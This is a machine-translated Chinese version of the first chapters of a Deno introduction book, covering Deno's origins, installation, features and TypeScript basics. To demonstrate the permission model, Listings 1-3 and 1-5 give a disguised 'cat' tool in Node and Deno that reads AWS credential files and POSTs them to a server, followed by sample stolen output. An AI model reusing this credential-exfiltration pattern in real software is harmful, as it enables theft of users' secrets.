Deno 入门指南(全)
原文:Introducing Deno
协议:CC BY-NC-SA 4.0
一、为什么是 Deno?
在过去的 10 年里,当后端开发人员听到“后端的 JavaScript”这个词时,所有人都会立即想到 Node.js。
在这 10 年的开始,也许不会马上出现,但最终它的名字为每个人所知,成为另一种基于 JavaScript 的可用后端技术。凭借其现成的异步 I/O 功能(因为虽然其他技术也支持这一功能,但 Node 是第一个将它作为核心机制的技术),它为自己划分了一部分市场。
更具体地说,Node.js 几乎成为编写 API 的事实上的选择,因为开发人员在这样做时可能会有疯狂的性能,而您只需很少的努力就可以获得很好的结果。
那么,为什么在 Node.js 核心及其周围的工具和库生态系统发展了 10 年之后,我们会得到一个新的 JavaScript 运行时,它不仅与 Node 非常相似,而且是解决相同问题的更好方法呢?
这个问题的答案和这个新项目的概述在接下来的章节中等待着你,所以系好安全带,让我们谈谈 Deno,好吗?
Deno 的 1.0 版本于 2020 年 5 月 13 日正式发布,但 Deno 的想法并不是在 2020 年诞生的。事实上,尽管它最初是由它的创造者瑞安·达尔 1 (顺便说一下,他也是 Node 的原始版本的作者)在 2018 年一次名为“Node.js 的 10 件事”的会议期间提出的, 2 到那时,他已经在 Deno 的原型上工作了一段时间。
这样做的动机很简单:他认为 Node 有一些无法从项目内部解决的根本性缺陷,因此,更好的解决方案是从头开始。无论如何,不要重新设计语言,毕竟,Ryan 和 Node 之间的问题不是关于 JavaScript,而是关于 Node 的内部架构以及它如何设法解决一些需求。
然而,他首先改变的是技术体系。他没有依赖于他的旧的和可信的工具集,如 C++和 libuv, 3 他从它们转移到一种更新的方法,使用 Rust 4 作为主要语言(这就像是一种没有垃圾收集器的编写 C++的现代方法)和 Tokio, 5 一个在 Rust 之上工作的异步库。事实上,这是架构中为 Deno 提供事件驱动的异步行为的部分。虽然不是技术堆栈的一部分,但我们也应该提到 Go,因为它不仅仅是 Ryan 在最初的原型(2018 年展示的那个)中使用的,而且它也是 Deno 在一些机制方面的一个很大的灵感(就像我们将在下面看到的那样)。
它试图解决什么问题?
除了可能过时的技术堆栈,Ryan 在设计 Deno 时还试图解决什么?
在他的脑海中,Node 有几个缺点没有得到及时解决,然后成为永久的技术债务。
不安全的平台
对他来说,Node 是一个不安全的平台,不知情的开发人员可能会留下一个安全漏洞,要么是因为不必要的特权执行,要么是因为访问系统服务的代码没有得到正确保护。
换句话说,使用 Node.js,您可以编写一个脚本,通过 TCP 将请求不受控制地发送到特定的 URL,从而在接收端造成潜在的问题。这是因为没有什么可以阻止您使用主机的网络服务。至少,Node 这边什么都没有。
同样,在 2018 年,一个非常受欢迎的 Node.js 模块的 repo 被社交黑客 6 (即其创建者被骗向黑客提供了其代码的访问权限),黑客添加了代码,可以窃取你的比特币钱包(如果你有一个的话)。因为 Node 中没有固有的安全性,所以这个模块能够访问您计算机上的某个路径,而它原本并不打算访问该路径。如果有办法注意到该路径上的读访问,并且用户必须手动允许它发生,这就永远不会是威胁。
有问题的模块系统
模块系统也是他不满意的地方。用他自己的话来说, 7 与其他部分(如异步 I/O 或事件发射器)得到的考虑相比,它的内部设计是事后才想到的。他后悔让 npm 成为节点生态系统包管理的事实上的标准。他不喜欢它是一个集中和私人控制的仓库。Ryan 认为浏览器导入依赖关系的方式更干净,也更容易维护。
老实说,简单地说
<script type="text/javascript" src="http://yourhostname/resources/module.js" async="true"></script>
而不是必须在 manifesto 文件(即 package.json)中编写一个新条目,然后自己安装(因为说实话,npm 会安装它,但你必须在某一点运行命令)。
事实上,整个package.json
文件是他不太满意的。在定义 require 函数时,他实际上改变了 require 函数的逻辑,以确保它会考虑到它的内容。但是由文件的语法(即,作者信息、许可、存储库 URL 等)提供的附加“噪声”。)是他认为可以更好处理的事情。
在类似的注释中,保存模块的文件夹(node_modules)是他会尽可能处理掉的东西。这可能是大多数 Node 社区都同意的,因为每个人都至少抱怨过一次这个文件夹的大小,特别是当他们同时有几个活动项目时。也就是说,将该文件夹放在项目本地的初衷是为了避免混淆您正在安装的内容。当然,这是一个非常天真的解决方案,最终结果证明了这一点。
其他次要问题
他在 Node 上还有其他小问题,比如需要本地模块而不必指定其扩展的能力;这本来是为了帮助改善开发人员的体验,但它最终创建了一个过于复杂的逻辑,必须检查几个扩展才能理解到底需要什么。
或者与 index.js 文件相关联的隐式行为(事实上,您可以需要一个文件夹,它默认需要 index.js 文件在其中)。正如他在演示中所说,这是 Ryan 想添加的一个“可爱”功能,目的是通过模拟 index.html 文件在 Web 上的行为来改善体验。最终,这个特性并没有给用户带来太多的体验,并且导致了一种我认为不是创作者想要的模式。
总而言之,这些都是他的决定或他参与的决定,在他看来,有一种更好的方式来做这件事,这就是触发 Deno 的创建和他为这个新的运行时所采取的设计方向。
接下来,我们将更详细地介绍这一点:他所做的决定以及这些决定如何转化为一系列功能,这些功能不仅旨在区分 Deno 和 Node,还旨在提供 Ryan 最初想用 Node 为开发人员提供的安全运行时。
尝试 Deno
既然我们已经介绍了创建 Deno 背后的基本原因,那么是时候了解一些非常基本的东西了:如何安装和使用它。
幸运的是,如果你有兴趣只是把你的脚趾头伸进 Deno 水域了解它看起来像什么,但你真的不想淋湿,还有其他选择。如果你想完全进入 Deno,你也可以很容易地把它安装到所有主要的操作系统中。
在线游乐场
如果你需要的只是一个快速的小 REPL 来测试一种语言功能,或者只是习惯于使用 TypeScript 和 Deno 的感觉,你可能想免费看看目前为你(和所有有互联网连接的人)提供的任何一个在线平台。
Deno 游乐场
由 ach mad Mahardi(GitHub 上的 maman8)创建的这个在线游乐场 9 是我见过的最完整的一个。虽然它的用户界面非常简单,但是您可以做如下事情
-
在 JavaScript 和 TypeScript 中执行代码示例,并在屏幕右侧查看结果。
-
您可以启用对不稳定功能的支持(参见图 1-1 中的示例)。
-
自动格式化你的代码,这在你从其他地方复制粘贴代码时特别有用。
-
最后,你可以与他人分享。此功能允许您使用单击“共享”按钮后生成的永久链接与其他人共享您的代码片段。
图 1-1
启用了不稳定功能的 Deno 游乐场
关于这个游乐场另一个需要注意的重要事情是,它已经使用了 Deno 的最新版本:版本 1.0.1。
如果你正在使用另一个游戏场,并想确保你使用的是最新版本,你可以简单地使用下面的代码片段:
Deno 镇
另一个值得一提的游乐场是 Deno.town 虽然没有前作那么功能丰富,但它有一个非常简单的界面,而且工作起来也一样好。
您不能分享您的片段,并且在撰写本文时,Deno.town 正在使用 Deno 版本 0.26.0,但是您仍然可以使用该语言并测试一些想法。
图 1-2
Deno.town,Deno 的在线游乐场
也就是说,从好的方面来看,这个 Deno playground 默认启用了不稳定标志,所以您可以对该语言做任何您想做的事情。它还提供了一个非常有用的特性:智能感知。
图 1-3
使用 Deno.town 编写代码时的智能感知
图 1-3 显示了一个非常熟悉的场景,特别是如果你是一个 VS 代码 11 用户,因为它类似于那个 IDE 的默认主题和整体行为。这绝对是一个很棒的特性,尤其是当您在寻找某个特定 API 的帮助时。它会提供快速帮助,告诉你有哪些选择以及如何使用。
在计算机上安装 Deno
最后,为了结束这一章,我们将做你可能从开始阅读它就一直在寻找的事情:我们将安装 Deno(是时候了,你不这样认为吗?).
安装 Deno 其实很简单;根据您的操作系统,您需要以下选项之一。无论哪种方式,它们都只是一个从不同地方提取二进制文件的命令行程序(或者在某些情况下从源代码安装):
如果您是 Mac 用户:
Shell:在您的终端窗口中,编写
curl -fsSL https://deno.land/x/install/install.sh | sh
自制:你可以使用自制配方。 12
brew install deno
如果您是 Windows 用户:
PowerShell:在 Shell 窗口中,键入
iwr https://deno.land/x/install/install.ps1 -useb | iex
独家新闻: 13 如果你在 Windows 终端上使用这个命令行安装程序,只需输入
scoop install deno
如果您是 Linux 用户:
Shell:对于 Linux 用户来说,你暂时只有 shell 安装程序,虽然说实话你不需要其他任何东西。
$ deno
Deno 1.2.0
exit using ctrl+d or close()
> console.log("Hello REPL World!")
Hello REPL World!Listing 1-1Deno REPL after a fresh installation
curl -fsSL https://deno.land/x/install/install.sh | sh
最后,结果应该是一样的:您应该能够从您的操作系统的终端窗口执行 deno 命令,并且应该打开 CLI REPL,如清单 1-1 所示。
那 Deno 有什么好酷的?
在设计新的运行时时,Ryan 试图尽可能多地解决他最初对 Node 的关注,同时利用最新版本的 ECMAScript 和 TypeScript。
最终,Deno 成为了一个安全的运行时,不仅与 JavaScript 兼容,还与 TypeScript 兼容(没错,如果你是 TS 迷,你会喜欢的!).
让我们来看看 Deno 引入的基本改进。
作为一等公民 TypeScript
这无疑是自正式发布以来最受欢迎的特性之一,主要是因为 TypeScript 在 JavaScript 社区中获得了越来越多的追随者,尤其是 React 开发人员,尽管您可能知道,它可以用于任何框架。
到目前为止,使用 TypeScript 作为项目的一部分需要您设置一个构建过程,在执行之前,该过程将 ts 代码转换为 JS 代码,以便运行时可以获取并解释它。毕竟我们都知道被执行的是 JavaScript。对于 Deno,这并不完全正确;事实上,您有能力编写 JavaScript 或 TypeScript 代码,只需让解释器执行即可。如果您使用 TS,那么代码将在内部加载 TypeScript 编译器,并将代码转换成 JavaScript。
过程本质上是相同的,但是对开发人员来说是完全透明的;从您的角度来看,您只是在执行 TypeScript。这绝对是一个优势;不再需要构建过程,编译时间在解释器内部得到优化,这意味着您的启动时间尽可能快。
我们将在下一章更深入地讨论 TypeScript,但是现在,Deno 的一个简单 TS 示例可以在清单 1-2 中看到。
const add = (a: number, b:number): number => {return a + b;
}console.log(add(2,4))Listing 1-2Basic TypeScript example that runs with Deno
将它另存为sample1.ts
并运行它,如下面的代码片段所示(假设您已经安装了 Deno 如果您还没有,请不要担心,我们将在一分钟内完成):
$ deno run sample1.ts
该执行的输出是
Compile:file://Users/fernandodoglio/workspace/personal/deno/ts-sample/sample1.ts
6
请注意前面代码片段中显示的第一行;您可以看到 Deno 所做的第一件事是将您的代码编译成 JavaScript,而您无需做任何事情。
另一方面,如果我们用普通的 JavaScript 编写代码,输出会略有不同:
$ deno run sample1.js
6
安全
你有没有注意到,有时当你在手机上安装一个应用时,当他们试图访问相机或磁盘中的特定文件夹时,你会被要求权限?这是为了确保您没有安装试图在您不知情的情况下访问敏感信息的应用。
使用 Node,您执行的代码不受您的控制。事实上,我们通常倾向于盲目地信任上传到 npm 的模块,但是你怎么能确定他们真的做了他们所说的事情呢?不可以!当然,除非您直接检查它们的源代码,这对于具有数万行代码的大模块来说是不现实的。
目前保护您数据的唯一安全层是您的操作系统;这将有助于普通用户访问操作系统敏感的数据(如 Linux 机器上的/etc 文件夹),但访问其他资源(如通过网络发送请求或从环境变量中读取潜在的敏感信息)是完全允许的。因此,从技术上讲,您可以编写一个 Node CLI 工具来完成与cat
命令一样的基本任务(读取文件内容,然后将其输出到标准输出),然后添加一些额外的代码来读取您的 AWS 凭证文件(如果有的话),并通过 HTTP 将其发送到另一个服务器,在那里您可以接收并存储它。
查看清单 1-3 中的代码以获得完整的示例。
const readFile = require('fs').readFile
const homedir = require('os').homedir
const request = require('request')const filename = process.argv[2]async function sendDataOverHTTP(data) {return request.post('http://localhost:8080/', {body: data}, (err, resp, body) => {console.log("--------------------------------------------------")console.log("- STOLEN INFORMATION -")console.log(body)console.log("--------------------------------------------------")})
}async function gatherAWSCredentials() {const awsCredsFile = homedir() + "/.aws/credentials"return readFile(awsCredsFile, async (err, cnt) => {if(err) {//ignore silently since we don't want anyone to know about itconsole.error(err)return;}return await sendDataOverHTTP(cnt.toString())})
}readFile(filename, async (err, cnt) => {if(err) {console.error(err)exit(1)}await gatherAWSCredentials()console.log("==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====")console.log(cnt.toString())console.log("=============================================")
})Listing 1-3Code for a CLI tool that steals private information
这是一个非常简单的脚本;您可以使用 Node 来执行它,如下一个代码片段所示:
$ node cat.js sample1.js
然而,输出并不完全是您,作为一个不知情的用户,所期望的;查看清单 1-4 以了解我的意思。
==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====
const add = (a, b) => {return a + b;
}console.log(add(2,4))
================================================
--------------------------------------------------
- STOLEN INFORMATION -
[default]
aws_access_key_id = AIIAYOD5HUHFNW6VBSUH
aws_secret_access_key = 389Jld6/ofv1z3Rj9UulA9lkjqmzQlZNACK12O6hK--------------------------------------------------Listing 1-4Output from the cat script
清单 1-4 显示了正在发生的事情,以及你不仅仅是在访问你想要的文件,还在访问你认为是私有的文件。
如果我们用 Deno 写同样的脚本并试着执行它,故事将会完全不同;让我们在清单 1-5 中查看一下。
const sendDataOverHTTP = async (data: string) => {const decoder = new TextDecoder('UTF-8')const resp = await fetch("http://localhost:8080", {method: "POST",body: data})let info = await resp.arrayBuffer()let encoded = new Uint8Array(decoder.decode(info).split(",").map(c => +c))console.log("--------------------------------------------------")console.log("- STOLEN INFORMATION -")console.log(decoder.decode(encoded))console.log("--------------------------------------------------")
}const gatherAWSCredentials = async () => {const awsCredsFile = Deno.env.get('HOME') + "/.aws/credentials"try {let data = await Deno.readFile(awsCredsFile)return await sendDataOverHTTP(data.toString())} catch (e) {console.log(e) //logging the error for demo purposesreturn ;}
}const filename = Deno.args[0]const decoder = new TextDecoder('UTF-8')
const text = await Deno.readFile(filename)await gatherAWSCredentials()
console.log("==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====")
console.log(decoder.decode(text))
console.log("================================================")Listing 1-5Same CLI code from before but written in Deno
清单 1-5 中的代码与之前的节点代码完全相同;它向您显示您试图查看的文件的内容,同时,它将敏感的 AWS 凭证复制到外部服务器。
要运行该代码,我们假设您只需使用如下所示的代码行:
$ deno run deno-cat.ts sample1.ts
然而,我们会得到一个类似于我们在清单 1-6 中看到的错误。
error: Uncaught PermissionDenied: read access to "sample1.ts", run again with the --allow-read flagat unwrapResponse ($deno$/ops/dispatch_json.ts:42:11)at Object.sendAsync ($deno$/ops/dispatch_json.ts:93:10)at async Object.open ($deno$/files.ts:38:15)at async Object.readFile ($deno$/read_file.ts:14:16)at async file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:35:14Listing 1-6Output of executing a Deno script without the proper permissions set
如您所见,如果我们不直接允许访问文件,我们甚至无法打开我们实际尝试查看的文件。
如果我们像错误消息中建议的那样用--allow-read
标志提供适当的权限,我们会得到另一个错误,这个错误实际上更麻烦一些。
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flagat unwrapResponse ($deno$/ops/dispatch_json.ts:42:11)at Object.sendSync ($deno$/ops/dispatch_json.ts:69:10)at Object.getEnv [as get] ($deno$/ops/os.ts:27:10)at gatherAWSCredentials (file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:21:35)at file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:37:7Listing 1-7Error while attempting to access an environmental variable without permission
$ deno run --allow-read deno-cat.ts sample1.ts
查看清单 1-7 中的错误,我们得到一个有趣的通知,关于我们的脚本试图访问的一个环境变量,考虑到我们试图做的事情,这可能有点奇怪。如果我们也允许这种访问,我们将得到清单 1-8 中所示的错误。
PermissionDenied: network access to "http://localhost:8080/", run again with the --allow-net flagat unwrapResponse ($deno$/ops/dispatch_json.ts:42:11)at Object.sendAsync ($deno$/ops/dispatch_json.ts:93:10)at async fetch ($deno$/web/fetch.ts:266:27)at async sendDataOverHTTP (file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:6:18)at async gatherAWSCredentials (file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:24:16)at async file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:37:1
==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====
const add = (a: number, b:number): number => {return a + b;
}
console.log(add(2,4))
================================================Listing 1-8Network access error
这很奇怪。我们可以再次绕过它,允许网络访问,但是作为一个用户,为什么需要使用Cat
命令来访问网络接口呢?我们将会看到更多像这样的例子,并在第三章中讨论所有的安全标志。
顶级等待
从 Node 添加对async/await
子句的支持的那一刻起,各地的开发人员就开始将他们基于承诺的方法转换成这种新的机制。问题是每个await
子句都必须是async
函数的一部分。换句话说,顶级等待——对项目主文件上的async
函数的结果进行await
的能力——还不被支持。
直到今天,即使 V8 已经添加了对它的支持,我们仍在等待 Node 赶上来,迫使开发人员通过使用声明为async
的 IIFEs(也称为立即调用函数表达式)来解决这一限制。
但由于 Deno,这不再是真的;在 1.0 版本中,您可以立即获得顶级 wait。你能从中得到什么好处?
首先,由于这个原因,您的启动代码可以被清理。您是否曾经不得不在连接数据库的同时启动 web 服务器?能够从顶层直接await
这些动作,而不是将它们包装成一个函数来运行,这无疑是一个优势。
更容易的依赖性回退。试图从两个不同的地方导入一个特定的库现在可以很容易地在顶层编写,只需捕捉第一个库的异常,如清单 1-9 所示。
let myModule = null;
try {myModule = await import('http://firstURL')
} catch (e) {myModule = await import('http://secondURL')
}Listing 1-9Using top-level await for imports
这是一个比依赖 promises 提供的语法简单得多的语法,或者以某种方式将整个东西包装到一个异步函数中,然后以某种方式将依赖关系导出到全局空间。
这肯定不是 Deno 带给我们的重大改进之一,但绝对是值得一提的,因为 Node 社区已经要求这种能力很长时间了。
扩展和改进的标准库
JavaScript 的标准库甚至 Node 的标准库从来都不是什么值得骄傲的东西。几年前,这甚至更糟,要求美国开发人员添加几乎成为标准的外部库,如 jQuery 14 那时帮助每个人理解 AJAX 如何工作,并提供几个助手方法来迭代对象,后来强调 15 和最近的 Lodash 16 提供了相当多的处理数组和对象的方法。随着时间的推移,这些方法(或类似的版本)已经被整合到 JavaScript 的标准库中。
也就是说,在我们可以有把握地说,我们可以在不需要开始为最基本的操作要求外部模块的情况下构建一些东西之前,还有很长的路要走。毕竟,这已经成为 Node 的标准:一个基本的构建块,要求您开始添加模块,以便拥有您需要的工具。
考虑到这一点,Deno 的标准库的设计不仅仅是提供基本的构建模块;事实上,Deno 的核心团队在将这些功能发布给公众之前,已经对它们进行了审查,并认为它们具有足够的质量。这是为了确保作为 Deno 开发人员的您获得所需的适当工具,遵循该语言的内部标准,并尽可能具有最高的代码质量。也就是说,为了从社区获得反馈,有些库在开发中就已经发布了(带有适当的警告信息)。如果您决定继续尝试它们,您应该适当地小心使用它们,并理解这些 API 可能会根据它们得到的响应而改变。
关于这组函数的另一个有趣的信息是,就像整个模块系统(我们将在下面讨论),它受到 Go 标准库的很大影响。虽然双方没有一一对应的关系,但是看包的名字甚至函数名就能看出影响。记住,Deno 的标准库是不断增长的;版本 1 只包含了团队能够从 Go 移植过来的所有东西,但是这项工作还在继续,未来的版本将会看到这个列表的增长。
这种方法的好处是,如果有一个函数还没有在 Deno 中记录,您可以通过访问 Go 的官方文档并在相应的模块中找到它。正如我所说的,这不是 Go 的镜像,但因为它受到了很大的启发,所以您可以获得诸如fmt
包之类的东西,它包含两种语言的字符串格式化帮助函数。
图 1-4
关于 printf 函数的 Deno 和 Go 文档
图 1-4 说明了我所说的相似之处。虽然 Deno 函数仍在开发中,其开发者也在积极地寻求反馈,但已经可以看出“动词”等概念的来源来自 Go 方面。
不再有 npm
Deno 引入的关于节点生态系统的最后也可能是最大的变化是,它放弃了每个节点开发人员在其职业生涯中一度讨厌和喜欢的事实上的包管理器。
这并不是说 Deno 会带来自己的包管理器;事实上,Deno 正在重新思考它的整个包管理策略,寻找一个更简单的(也是受 Go 启发的)方法。
在本章开始讨论 Deno 试图解决的问题时,我提到 Ryan 认为 npm 及其相关的一切都是错误的。一方面,因为它太冗长而无法使用(考虑到有多少样板代码进入了package.json
文件),而且他不喜欢每个模块都驻留在一个私人控制的集中存储库中。所以他借此机会走向了一个完全不同的方向。
开箱即用,Deno 允许您从 URL 导入代码,就像它们是本地安装的模块一样。事实上,您不需要考虑安装模块;当你执行你的脚本时,Deno 会处理好的。
但是让我们先回顾一下。相对于 npm 和其他类似技术的这一改进背后的全部要点是有一个更简单的方法,正如我之前所说的,一个类似于 Go 的 yes,但也非常类似于浏览器和前端 JavaScript 的工作方式。如果你正在做一些前端 JavaScript,你不需要手动安装你的模块;您只需使用script
标签来请求它们,浏览器会负责寻找它们,不仅下载它们,还会缓存它们。Deno 采取了非常相似的方法。
您可以继续导入本地模块。毕竟你的文件也算模块;这一点没有改变,但所有第三方代码,包括 Deno 官方提供的标准库,都将在线供您导入。
例如,看看清单 1-10 中显示的 Deno 官网的示例代码。
图 1-5
导入外部模块的 TypeScript 文件的第一次执行的输出
import { bgBlue, red, bold, italic } from "https://deno.land/std/fmt/colors.ts";if (import.meta.main) {console.log(bgBlue(italic(red(bold("Hello world!")))));
}Listing 1-10Sample code showing imports from a URL
图 1-5 显示了执行这个简单脚本的输出。如您所知,我们看到在代码执行之前发生了两个动作。这是因为 Deno 首先下载并缓存脚本。第二步,它还将我们的 TypeScript 代码编译成 JavaScript(如果这个例子是一个. js 文件,这一步就不会发生了),所以它最终可以执行它。
这个过程最好的部分是,下次你执行代码时,它会直接执行,不需要下载或编译任何东西,因为所有东西都被缓存了。当然,如果您决定更改代码,那么编译步骤需要重新进行。
至于外部模块,因为它现在被缓存了,所以您不必再次下载它,当然,除非您明确地告诉 CLI 工具这样做。不仅如此,从现在开始,任何其他需要导入相同文件的新项目都将能够从共享缓存中获得该文件。比起在你的硬盘上放几个巨大的文件夹,这是一个巨大的进步。
更具体地说,Deno 的模块系统是基于 es 模块的,而 Node 的模块系统是基于 CommonJS 的(最近也是基于 ES 模块的,尽管还处于实验模式)。这意味着在 Deno 中将一个模块导入到您的代码中,您的语法如下所示:
import {your_variables_here} from 'your-modules-url';
当需要从自己的模块中导出一些对象或函数时,只需使用清单 1-11 中所示的export
关键字。
export function(...) {// your code...
}Listing 1-11Using the export keyword
我将在第四章中更详细地介绍这个主题,所以请记住我们现在已经摆脱了黑洞,也就是node_modules
文件夹,我们不再需要担心package.json
。我将介绍如何处理缺乏集中的模块注册中心的问题,以及围绕这一问题开发的不同模式。
结论
关于 Deno 最初为什么被创建以及它试图解决什么样的问题,你现在是最新的。如果您是一名节点开发人员,那么您应该已经掌握了足够的信息,可以开始使用在线 REPLs,甚至是使用 Deno 安装的 CLI REPL。
但是,如果您来自其他语言,甚至来自前端,请耐心等待,继续阅读,因为我们将快速介绍什么是 TypeScript,以及如何将它与 Deno 一起用于后端开发。
二、TypeScript 简介
鉴于 TypeScript 是 Deno 的创建者选择的语言,并且他利用了这是一个全新项目的事实来添加对它的原生支持,我认为有一个完整的章节专门讨论它是很方便的。如果您是 TypeScript 的新手,在这里您将学习它的基础知识,理解接下来章节中的代码示例所需的一切。另一方面,如果你已经精通这门语言,那么也许可以直接跳到第三章,或者通读这一章,在继续之前快速复习一下关键概念。
什么是 TypeScript?
JavaScript 是一种动态语言,这意味着变量没有类型。我知道你要说什么,你确实有一些基本类型,比如数字,对象,或者字符串,但是在任何给定的时间都没有静态类型检查发生;您可以完美地编写清单 2-1 中的代码,而不会出现任何问题。
let myVar = "this is a string"
myVar = 2
console.log(myVar + 2)Listing 2-1Dynamically typed code in JavaScript
类型化语言会抱怨你把一个整数赋给一个字符串变量(例如,myVar
);然而,JavaScript 的情况并非如此。正因为如此,语言本身或解释器没有办法帮助你在编译期间检查错误,而是等待在运行时发现错误。当然,这并不是说清单 2-1 中的代码会在运行时失败,但是下面的代码片段会失败:
let myObj = {}
myObj.print()
这是一个有效的 JavaScript 代码,但是如果您执行它,您会得到一个运行时错误,或者称为一个不可控制的异常。对于没有强大类型系统的语言来说,这是正常的,甚至是意料之中的行为。如果你一直在用 JavaScript 编码(无论是在前端还是后端),你很可能会看到类似清单 2-2 的错误。
myObj.print()^TypeError: myObj.print is not a functionat Object.<anonymous> (/Users/fernandodoglio/workspace/personal/deno/runtime-error.js:3:7)at Module._compile (internal/modules/cjs/loader.js:1144:30)at Object.Module._extensions..js (internal/modules/cjs/loader.js:1164:10)at Module.load (internal/modules/cjs/loader.js:993:32)at Function.Module._load (internal/modules/cjs/loader.js:892:14)at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)at internal/main/run_main_module.js:17:47Listing 2-2Unheld TypeError exception
这就是 TypeScript 发挥作用的地方;您实际上是在编写 JavaScript 代码,增加了一个层,为您提供静态类型检查和改进的开发体验,这要归功于代码编辑器可以获取类型定义,并为您提供完整的智能感知。
到目前为止,您使用 TypeScript 的方式是使用一些自动化工具建立一个构建过程,例如 webpack 1 或者回到过去,Gulp 2 或者 Grunt。无论哪种方式,这个工具都可以让你创建一个进程,在代码被执行之前转换你的代码(换句话说,转换成 JavaScript)。这是一项非常常见的任务,当您开始一个新项目时,已经有一些工具可以自动为您配置该过程。比如拿 create-react-app4应用来说,旨在帮助你创建一个新的 React 项目;如果您选择将它与 TypeScript 一起使用,它将为您设置翻译步骤。
类型的快速概述
正如我之前提到的,TypeScript 试图将 JavaScript 中的类型概念扩展到更具体的内容中,就像在 C 或 C#等语言中得到的一样;这就是为什么在为变量选择正确的类型时,了解 TypeScript 所能提供的全部内容非常重要。
你已经知道的类型
您可以使用的一些类型来自 JavaScript 毕竟,如果它们已经被定义了,那重新发明轮子又有什么意义呢?
我说的是字符串、数字、数组、布尔甚至对象等类型。如果我们尝试使用如下代码片段中的 TypeScript 符号重写前面的示例,您会得到一个错误:
let myVar: string = "Hello typed world!"
myVar = 2console.log(myVar)
并运行前面的示例,如下所示:
$ deno run sample.ts
注意.ts
扩展,如果你想让 Deno 理解它需要将代码编译成 JavaScript,这是必须的。
error: TS2322 [ERROR]: Type '2' is not assignable to type 'string'.
myVar = 2
~~~~~at file:///Users/fernandodoglio/workspace/personal/deno/sample.ts:2:1
当然,您不能执行该脚本中的代码。TypeScript 不让你把它编译成 JS 还有意义;你实际上为你的变量指定了一个类型,然后给它赋了另一个类型的值。
声明数组
在 TypeScript 中声明数组很简单;其实你有两种方法,两种情况都很直观。一方面,您可以指定后跟数组符号的类型:
let variable : number[] = [1,2,34,45]
代码明确声明了一个数字数组,如果你试图添加任何不是数字的东西,你将无法编译它。
声明数组的另一种方法是使用泛型类型,如下所示:
let variable : Array<number> = [1,2,3,4]
最后的结果都是一样的,用哪一个真的由你自己决定。
声明任何其他类型都很简单,真的没有什么太复杂的,所以让我们来看看好的方面:由于 TS,您得到了新的类型。
新类型
除了从 JavaScript 继承的基本的和已知的类型之外,TypeScript 还提供了其他更有趣的类型,比如元组、枚举、任何类型(我们将在稍后讨论)和 void。
这些额外的类型,加上我们马上会看到的其他构造,有助于为开发人员提供更好的体验,并为您的代码提供更健壮的结构。
使用元组
我们已经讨论过数组,元组非常相似,但与数组不同,数组可以添加无限数量的相同类型的元素,元组允许您预定义有限数量的元素,但您可以选择它们的类型。
就其本身而言,元组可能看起来非常基本,如清单 2-3 所示。
let myTuple: [string, string] = ["hello", "world!"]console.log(myTuple[0]) //hello
console.log(myTuple[2]) //Error: Tuple type '[string, string]' of length '2' has no element at index '2'.ts(2493)Listing 2-3Declaring tuples in TypeScript
如您所知,使用清单 2-3 中的定义,您只能访问数组的前两个元素;之后,一切都超出了范围。事实上,即使在作用域内,编译器也会检查你对那些索引做了什么;看看清单 2-4 。
let myTuple: [string, number] = ["hello", 1]console.log(myTuple[0].toUpperCase()) //HELLO
console.log(myTuple[1].toUpperCase()) //Error: Property 'toUpperCase' does not exist on type 'number'.ts(2339)Listing 2-4Error while trying to access a nonexisting method
这就是 TypeScript 的闪光点,因为它在您不太想检查的地方提供了检查。
但是,元组最好的部分是,您可以将它们用作数组索引。因此,现在您可以看到如何混合新旧类型,并且仍然拥有 ts 带来的好处。
let myList: [number, string][] = [[1, "Steve"], [2, "Bill"], [3, "Jeff"]]
然后,您可以继续使用带有myList
的普通数组方法,并继续添加新条目,如下面的代码片段所示:
myList.push([4, "New Name"])
枚举数
虽然元组是旧概念(即数组)的翻版,但枚举对 JavaScript 来说是一个全新的概念。尽管您可以使用普通的 JS 代码创建它们,但是 TypeScript 现在为您提供了一个额外的构造,您可以使用它来定义它们。
清单 2-5 是它们如何工作的一个基本例子。
enum Direction {Up = "UP",Down = "DOWN",Left = "LEFT",Right = "RIGHT",
}Listing 2-5Declaring an enum
本质上,枚举是一种创建一组常数的方法,这没什么大不了的,但是这是一种很好的方法,可以通过自定义的构造赋予常数更多的意义,而不是简单地做一些类似于清单 2-6 的事情。
const Direction = {Up: "UP",Down: "DOWN",Left: "LEFT",Right: "RIGHT"
}Listing 2-6Using a constant object to group constant values
虽然这是真的,但 TypeScript 简化了声明枚举的任务,允许您跳过它们的值并自动为它们赋值(这是您实际上不需要担心的)。因此,您可以利用这一点来定义枚举,如清单 2-7 所示。
enum Direction {Up,Down,Left,Right
}Listing 2-7Declaring enums with an auto-assign value
现在您可以看到 TS 如何帮助您编写有意义的代码,并使用更少的关键字。基本上,这里的Direction.Up
的值为“0”,Direction.Down
的值为“1”,其余的一直向上加 1。
正如您所看到的,TypeScript 会自动为您的常量赋值,所以除非您的逻辑需要,否则对它们强制使用自定义值是没有意义的。
现在,当谈到利用枚举时,您会注意到,由于 TypeScript 的类型系统,您还可以指定枚举类型的变量,这意味着您可以通过引用您的枚举的名称来指定哪些值可以赋给变量;查看清单 2-8 了解如何做到这一点。
enum Direction {Up,Down,Left,Right}let myEnumVar: Direction = Direction.DownmyEnumVar = "hello" // Type '"hello"' is not assignable to type 'Direction'Listing 2-8Using enums as types
您可以看到,一旦变量被定义为 enum 类型,您就只能将该 enum 的一个值赋给它;否则,您将得到类似前面看到的错误。
使用枚举的最后一个好处是,TypeScript 将足够智能地检查您的IF
语句中的某些条件,以确保您没有在不应该的时候使用它们。让我解释一下,但是首先,看看清单 2-9 中的代码。
enum E {Foo,Bar,
}function f(x: E) {if (x !== E.Foo || x !== E.Bar) {// Error! This condition will always return 'true' since the types 'E.Foo' and 'E.Bar' have no overlap.}
}Listing 2-9TS smart checking thanks to the use of enums
您会得到这样的错误,因为 TS 编译器注意到您的IF
语句覆盖了变量x
值的所有可能选项(这是因为它被定义为 enum,所以它有可用的信息)。
利用任何类型
